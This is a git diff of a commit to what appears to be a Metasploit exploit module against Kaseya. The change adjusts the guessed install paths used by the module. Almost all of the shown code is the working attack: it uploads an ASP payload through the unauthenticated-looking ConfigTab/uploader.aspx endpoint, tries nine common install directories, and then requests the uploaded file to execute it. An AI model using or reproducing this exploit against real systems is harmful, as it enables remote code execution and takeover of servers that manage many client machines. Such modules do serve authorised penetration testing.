Add WebPges to the paths
parent
f9a9a45cf8
commit
a88a6c5580
|
@ -60,13 +60,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
|
|
||||||
def upload_file(payload, path, filename, session_id)
|
def upload_file(payload, path, filename, session_id)
|
||||||
print_status("#{peer} - Uploading payload to #{path + 'WebPages\\'}...")
|
print_status("#{peer} - Uploading payload to #{path}...")
|
||||||
|
|
||||||
res = send_request_cgi({
|
res = send_request_cgi({
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'uri' => normalize_uri('ConfigTab', 'uploader.aspx'),
|
'uri' => normalize_uri('ConfigTab', 'uploader.aspx'),
|
||||||
'vars_get' => {
|
'vars_get' => {
|
||||||
'PathData' => path + 'WebPages' + '\\',
|
'PathData' => path,
|
||||||
'qqfile' => filename
|
'qqfile' => filename
|
||||||
},
|
},
|
||||||
'data' => payload,
|
'data' => payload,
|
||||||
|
@ -100,20 +100,20 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
paths = [
|
paths = [
|
||||||
# We have to guess the path, so just try the most common directories
|
# We have to guess the path, so just try the most common directories
|
||||||
'C:\\Kaseya\\',
|
'C:\\Kaseya\\WebPages\\',
|
||||||
'C:\\Program Files\\Kaseya\\',
|
'C:\\Program Files\\Kaseya\\WebPages\\',
|
||||||
'C:\\Program Files (x86)\\Kaseya\\',
|
'C:\\Program Files (x86)\\Kaseya\\WebPages\\',
|
||||||
'D:\\Kaseya\\',
|
'D:\\Kaseya\\WebPages\\',
|
||||||
'D:\\Program Files\\Kaseya\\',
|
'D:\\Program Files\\Kaseya\\WebPages\\',
|
||||||
'D:\\Program Files (x86)\\Kaseya\\',
|
'D:\\Program Files (x86)\\Kaseya\\WebPages\\',
|
||||||
'E:\\Kaseya\\',
|
'E:\\Kaseya\\WebPages\\',
|
||||||
'E:\\Program Files\\Kaseya\\',
|
'E:\\Program Files\\Kaseya\\WebPages\\',
|
||||||
'E:\\Program Files (x86)\\Kaseya\\',
|
'E:\\Program Files (x86)\\Kaseya\\WebPages\\',
|
||||||
]
|
]
|
||||||
|
|
||||||
paths.each do |path|
|
paths.each do |path|
|
||||||
if upload_file(payload, path, asp_name, session_id)
|
if upload_file(payload, path, asp_name, session_id)
|
||||||
register_files_for_cleanup(path + "WebPages\\" + asp_name)
|
register_files_for_cleanup(path + asp_name)
|
||||||
print_status("#{peer} - Executing payload #{asp_name}")
|
print_status("#{peer} - Executing payload #{asp_name}")
|
||||||
|
|
||||||
send_request_cgi({
|
send_request_cgi({
|
||||||
|
|
Loading…
Reference in New Issue